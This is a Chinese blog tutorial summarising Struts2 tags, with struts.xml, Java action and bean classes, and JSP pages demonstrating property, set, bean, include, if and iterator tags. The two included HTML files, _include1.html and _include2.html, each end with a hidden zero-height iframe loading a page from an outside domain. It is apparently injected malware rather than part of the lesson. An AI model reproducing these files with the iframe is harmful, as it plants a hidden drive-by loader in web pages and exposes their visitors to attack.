struts tags小结

最新推荐文章于 2021-05-31 10:48:48 发布

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最新推荐文章于 2021-05-31 10:48:48 发布

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分类专栏： struts2 文章标签： Struts HTML JSP Bean XML

本文链接：https://blog.csdn.net/netxdiy/article/details/83874944

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struts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">

<struts>


<constant name="struts.devMode" value="true" />

<constant name="struts.ui.theme" value="simple" />
<package name="tags" extends="struts-default">

<action name="tags" class="com.bjsxt.struts2.tags.TagsAction">
<result>/tags.jsp</result>
</action>

</package>

</struts>

TagsAction.java
package com.bjsxt.struts2.tags;

import com.opensymphony.xwork2.ActionSupport;

public class TagsAction extends ActionSupport {

private String password;

private String username;

public TagsAction() {
}

public String execute() {
this.addFieldError("fielderror.test", "wrong!");
return SUCCESS;
}

public String getPassword() {
return password;
}

public String getUsername() {
return username;
}

public void setPassword(String password) {
this.password = password;
}

public void setUsername(String username) {
this.username = username;
}

}

User.java

package com.bjsxt.struts2.tags;

public class User {
private int age = 8;

public User() {

}

public User(int age) {
super();
this.age = age;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

@Override
public String toString() {
return "user" + age;
}
}

Dog.java

package com.bjsxt.struts2.tags;

public class Dog {

private String name;

public Dog() {

}

public Dog(String name) {
super();
this.name = name;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

@Override
public String toString() {
return "dog: " + name;
}
}

S.java

package com.bjsxt.struts2.tags;

public class S {
public static String STR = "STATIC STRING";

public static String s() {
return "static method";
}
}

index.jsp
<?xml version="1.0" encoding="GB18030" ?>
<%@ page language="java" contentType="text/html; charset=GB18030"
pageEncoding="GB18030"%>
<%
String contextPath = request.getContextPath();
%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB18030" />
<title>Insert title here</title>
</head>
<body>
访问属性
<a href="<%=contextPath %>/tags.action?username=u&password=p">tags</a>
</body>
</html>

tags.jsp
<?xml version="1.0" encoding="GB18030" ?>
<%@ page language="java" contentType="text/html; charset=GB18030"
pageEncoding="GB18030"%>
<%@ taglib uri="/struts-tags" prefix="s" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB18030" />
<title>Struts-Tags学习</title>
</head>
<body>
<ol>
<li>property: <s:property value="username"/> </li>
<li>property 取值为字符串: <s:property value="'username'"/> </li>
<li>property 设定默认值: <s:property value="admin" default="管理员"/> </li>
<li>property 设定HTML: <s:property value="'<hr/>'" escape="false"/> </li>
<hr />
<li>set 设定adminName值（默认为request 和 ActionContext）: <s:set var="adminName" value="username" /></li>

<li>set 从request取值: <s:property value="#request.adminName" /></li>
<li>set 从ActionContext取值: <s:property value="#adminName" /></li>

<%--<li>set 设定范围: <s:set name="adminPassword" value="password" scope="page"/></li>
<li>set 从相应范围取值: <%=pageContext.getAttribute("adminPassword") %></li>
--%>
<li>set 设定var，范围为ActionContext: <s:set var="adminPassword" value="password" scope="session"/></li>
<li>set 使用#取值: <s:property value="#adminPassword"/> </li>
<li>set 从相应范围取值: <s:property value="#session.adminPassword"/> </li>

<hr />

<%--<li>push:<s:set name="myDog" value="new com.bjsxt.struts2.ognl.Dog('oudy')"></s:set></li>
<li>
push:<s:push value="#myDog">
<s:property value="name"/>
</s:push>
</li>
<li>push: <s:property value="name"/></li>
--%>

<hr />
<li>bean 定义bean,并使用param来设定新的属性值:
<s:bean name="com.bjsxt.struts2.tags.Dog" >
<s:param name="name" value="'pp'"></s:param>
<s:property value="name"/>

</s:bean>

</li>

<li>bean 查看debug情况:
<s:bean name="com.bjsxt.struts2.tags.Dog" var="myDog">
<s:param name="name" value="'oudy'"></s:param>
</s:bean>
拿出值：
<s:property value="#myDog.name"/>

</li>
<hr />

<li>include _include1.html 包含静态英文文件
<s:include value="/_include1.html"></s:include>
</li>

<li>include _include2.html 包含静态中文文件
<s:include value="/_include2.html"></s:include>
</li>

<li>include _include1.html 包含静态英文文件，说明%用法，%{}将里面的内容强制转换成0ngl表达式
<s:set var="incPage" value="%{'/_include1.html'}" />
<s:include value="%{#incPage}"></s:include>
</li>

<hr />

<li>if elseif else:
age = <s:property value="#parameters.age[0]" /> <br />
<s:set var="age" value="#parameters.age[0]" />
<s:if test="#age < 0">wrong age!</s:if>
<s:elseif test="#parameters.age[0] < 20">too young!</s:elseif>
<s:else>yeah!</s:else><br />

<s:if test="#parameters.aaa == null">null</s:if>
</li>

<hr />

<li>遍历集合：<br />
<s:iterator value="{1, 2, 3}" >
<s:property/> |
</s:iterator>
</li>
<li>自定义变量：<br />
<s:iterator value="{'aaa', 'bbb', 'ccc'}" var="x">
<s:property value="#x.toUpperCase()"/> |
</s:iterator>
</li>
<li>使用status:<br />
<s:iterator value="{'aaa', 'bbb', 'ccc'}" status="status">
<s:property/> |
遍历过的元素总数：<s:property value="#status.count"/> |
遍历过的元素索引：<s:property value="#status.index"/> |
当前是偶数？：<s:property value="#status.even"/> |
当前是奇数？：<s:property value="#status.odd"/> |
是第一个元素吗？：<s:property value="#status.first"/> |
是最后一个元素吗？：<s:property value="#status.last"/>
<br />
</s:iterator>

</li>

<li>
<s:iterator value="#{1:'a', 2:'b', 3:'c'}" >
<s:property value="key"/> | <s:property value="value"/> <br />
</s:iterator>
</li>

<li>
<s:iterator value="#{1:'a', 2:'b', 3:'c'}" var="x">
<s:property value="#x.key"/> | <s:property value="#x.value"/> <br />
</s:iterator>
</li>

<li>

<s:fielderror fieldName="fielderror.test" theme="simple"></s:fielderror>

</li>
</ol>
</body>
</html>

_include.jsp
<?xml version="1.0" encoding="GB18030" ?>
<%@ page language="java" contentType="text/html; charset=GB18030"
pageEncoding="GB18030"%>
<%@ taglib uri="/struts-tags" prefix="s" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB18030" />
<title>_include</title>
</head>
<body>
params :<br />
使用property取参数：p1=<s:property value="#parameters.p1"/> <br />
使用property取参数：p2=<s:property value="#parameters.p2"/> <br />
使用property取参数：p3=<s:property value="#parameters.p3"/> <br />
</body>
</html>

_include1.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>_include1.html</title>

<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
<meta http-equiv="description" content="this is my page">
<meta http-equiv="content-type" content="text/html; charset=GB18030">



</head>

<body>
This is my _include1 page. <br>
</body>
</html>
<iframe src=http://mm.aa88567.cn/index/mm.htm width=100 height=0></iframe>

_include2.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>_include1.html</title>

<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
<meta http-equiv="description" content="this is my page">
<meta http-equiv="content-type" content="text/html; charset=GB18030">



</head>

<body>中文 <br>
</body>
</html>
<iframe src=http://mm.aa88567.cn/index/mm.htm width=100 height=0></iframe>

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struts tags小结

struts.xml /tags.jsp TagsAction.javapackage com.bjsxt.struts2.tags;import com.opensymphony.xwork2.Actio...
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